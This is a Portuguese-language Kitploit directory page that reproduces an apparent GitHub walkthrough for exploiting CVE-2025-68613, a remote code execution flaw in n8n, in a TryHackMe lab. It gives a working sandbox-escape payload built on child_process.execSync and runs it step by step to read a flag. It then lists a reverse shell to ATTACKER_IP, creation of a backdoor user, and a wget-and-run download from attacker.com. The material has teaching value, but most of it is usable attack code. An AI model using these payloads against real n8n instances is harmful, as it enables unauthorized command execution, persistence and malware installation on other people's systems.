Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
n8n-cve-2025-68613-thm — Walkthrough educacional para explorar CVE-2025-68613, um RCE crítico no n8n de automação de workflows. Abrange injeção de expressão, escape de sandbox, desenvolvimento de payload e estratégias de detecção através de um laboratório TryHackMe. | Kitploit
Ferramentas/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoResposta a IncidentesDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Labs e Prática
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Walkthrough educacional para explorar CVE-2025-68613, um RCE crítico no n8n de automação de workflows. Abrange injeção de expressão, escape de sandbox, desenvolvimento de payload e estratégias de detecção através de um laboratório TryHackMe.

Ver Repositório
131há 10 mesesAinda não revisado

CVE-2025-68613 – Exploração Crítica de RCE no n8n

Visão Geral

Este repositório documenta uma exploração prática do CVE-2025-68613 (CVSS 9.9), uma vulnerabilidade crítica de Execução Remota de Código que afeta a plataforma de automação de fluxo de trabalho n8n (versões 0.211.0 a 1.120.3).

Esta exploração foi realizada eticamente em um ambiente controlado de laboratório TryHackMe apenas para fins educacionais.


Resumo da Vulnerabilidade

CampoValor
CVE IDCVE-2025-68613
Pontuação CVSS9.9 (Crítico)
Publicado19 de dezembro de 2025
Produto AfetadoPlataforma de Automação de Fluxo de Trabalho n8n
Tipo de VulnerabilidadeInjeção de Expressão → Escape de Sandbox → RCE
Vetor de AtaqueUsuário Autenticado (Padrão)
Versões Corrigidas1.120.4, 1.121.1, 1.122.0+
Versões Afetadas0.211.0 - 1.120.3

O que é n8n?

n8n é uma plataforma de automação de fluxo de trabalho de código aberto que permite aos usuários conectar visualmente aplicativos e serviços para automatizar tarefas. Ela apresenta:

  • Arquitetura de fluxo de trabalho baseada em nós: Cada nó representa uma ação (requisição de API, processamento de dados, e-mail, etc.)
  • Mais de 400 integrações nativas: Conectores pré-construídos para várias APIs e serviços
  • Nós de código: Execução de código JavaScript ou Python personalizado
  • Avaliação de expressões: Expressões dinâmicas envolvidas em {{ }} avaliadas como JavaScript

Modelos de Implantação

  • Instâncias auto-hospedadas (on-premises ou nuvem privada)
  • Serviço gerenciado hospedado na nuvem (n8n.cloud)
  • Ferramentas de automação internas em redes corporativas

Contexto Técnico

A Cadeia de Vulnerabilidade

A vulnerabilidade reside no sistema de avaliação de expressões de fluxo de trabalho do n8n. Quando usuários autenticados configuram fluxos de trabalho, suas entradas são processadas como código JavaScript sem sandboxing adequado.

Cadeia de Escalação de Contexto

Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

Principais Falhas

  1. Avaliação Insegura de Expressões: Expressões de usuário envolvidas em {{ }} são avaliadas como JavaScript bruto sem isolamento de contexto adequado
  2. Escape de Sandbox: O acesso ao objeto this permite escapar das restrições pretendidas do sandbox
  3. Acesso Irrestrito a Módulos: process.mainModule.require() fornece acesso ao sistema de módulos do Node.js
  4. Carregamento Perigoso de Módulo: Pode carregar o módulo child_process para execução de comandos do sistema
  5. Nenhuma Proteção Significativa de Autenticação: Qualquer usuário autenticado pode explorar a vulnerabilidade

Detalhamento do Payload de Exploração

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Explicação:

  • this → Objeto global do Node.js
  • this.process → Objeto de processo do Node.js
  • process.mainModule → Módulo raiz da aplicação n8n
  • .require('child_process') → Carrega o módulo de execução de comandos do sistema
  • .execSync('COMMAND') → Executa comando shell de forma síncrona
  • .toString() → Converte a saída do Buffer em string legível

Passo a Passo da Exploração

Passo 1: Autenticação

Acesse a instância vulnerável do n8n e faça login com credenciais válidas.

Credenciais do Laboratório:

  • E-mail: [email protected]
  • Senha: Try12345!

Tela de Login


Passo 2: Boas-vindas e Criação de Fluxo de Trabalho

Após o login, você é apresentado à interface de criação de fluxo de trabalho. Clique em "Começar do zero" para iniciar um novo fluxo de trabalho.

Tela de Boas-vindas


Passo 3: Adicionar Gatilho Manual

Clique em "Adicionar primeiro passo" e procure por "Gatilho Manual". Este nó serve como ponto de entrada para a execução do fluxo de trabalho.

Configuração do Gatilho Manual

Propósito: O nó Gatilho Manual permite a execução manual do fluxo de trabalho através do botão "Executar fluxo de trabalho" na interface, tornando-o ideal para testes.


Passo 4: Configurar Fluxo de Trabalho e Adicionar Mapeamento de Campos

Adicione um nó "Editar Campos" para realizar o mapeamento de campos. É aqui que a vulnerabilidade é explorada.

Configuração do Fluxo de Trabalho

Passos de Configuração:

  1. Clique em "Adicionar campo" para adicionar um novo mapeamento de campo
  2. Defina o modo para "Expressão"
  3. Isso permite a avaliação de código JavaScript

Passo 5: Executar Comando ID

Injete o payload para executar o comando id e recuperar informações do usuário/privilégios.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Resultado:

uid=1000(node) gid=1000(node) groups=1000(node)

Execução do Comando ID

Informações Coletadas:

  • Executando como usuário não-root (uid=1000)
  • Associação de grupo (gid=1000)
  • Potenciais caminhos de escalada de privilégio

Passo 6: Enumerar Sistema de Arquivos com LS

Modifique o payload para executar o comando ls e listar o conteúdo do diretório.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Execução do Comando LS

Saída Mostra:

  • Arquivo de flag presente: flag.txt
  • Estrutura de diretórios e permissões de arquivo
  • Dados adicionais de reconhecimento

Passo 7: Extrair Dados Sensíveis

Leia o arquivo de flag usando o comando cat para completar a exploração.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag Recuperada:

THM{n8n_exposed_workflow}

Extração da Flag


Técnicas Avançadas de Exploração

1. Reverse Shell

Estabeleça acesso interativo ao shell para controle persistente:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Criar Usuário Backdoor

Adicione um novo usuário do sistema para acesso persistente:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Baixar Payload Malicioso

Busque e execute código remoto:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Enumeração de Escalação de Privilégio

Verifique privilégios sudo:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()
Baixar ferramenta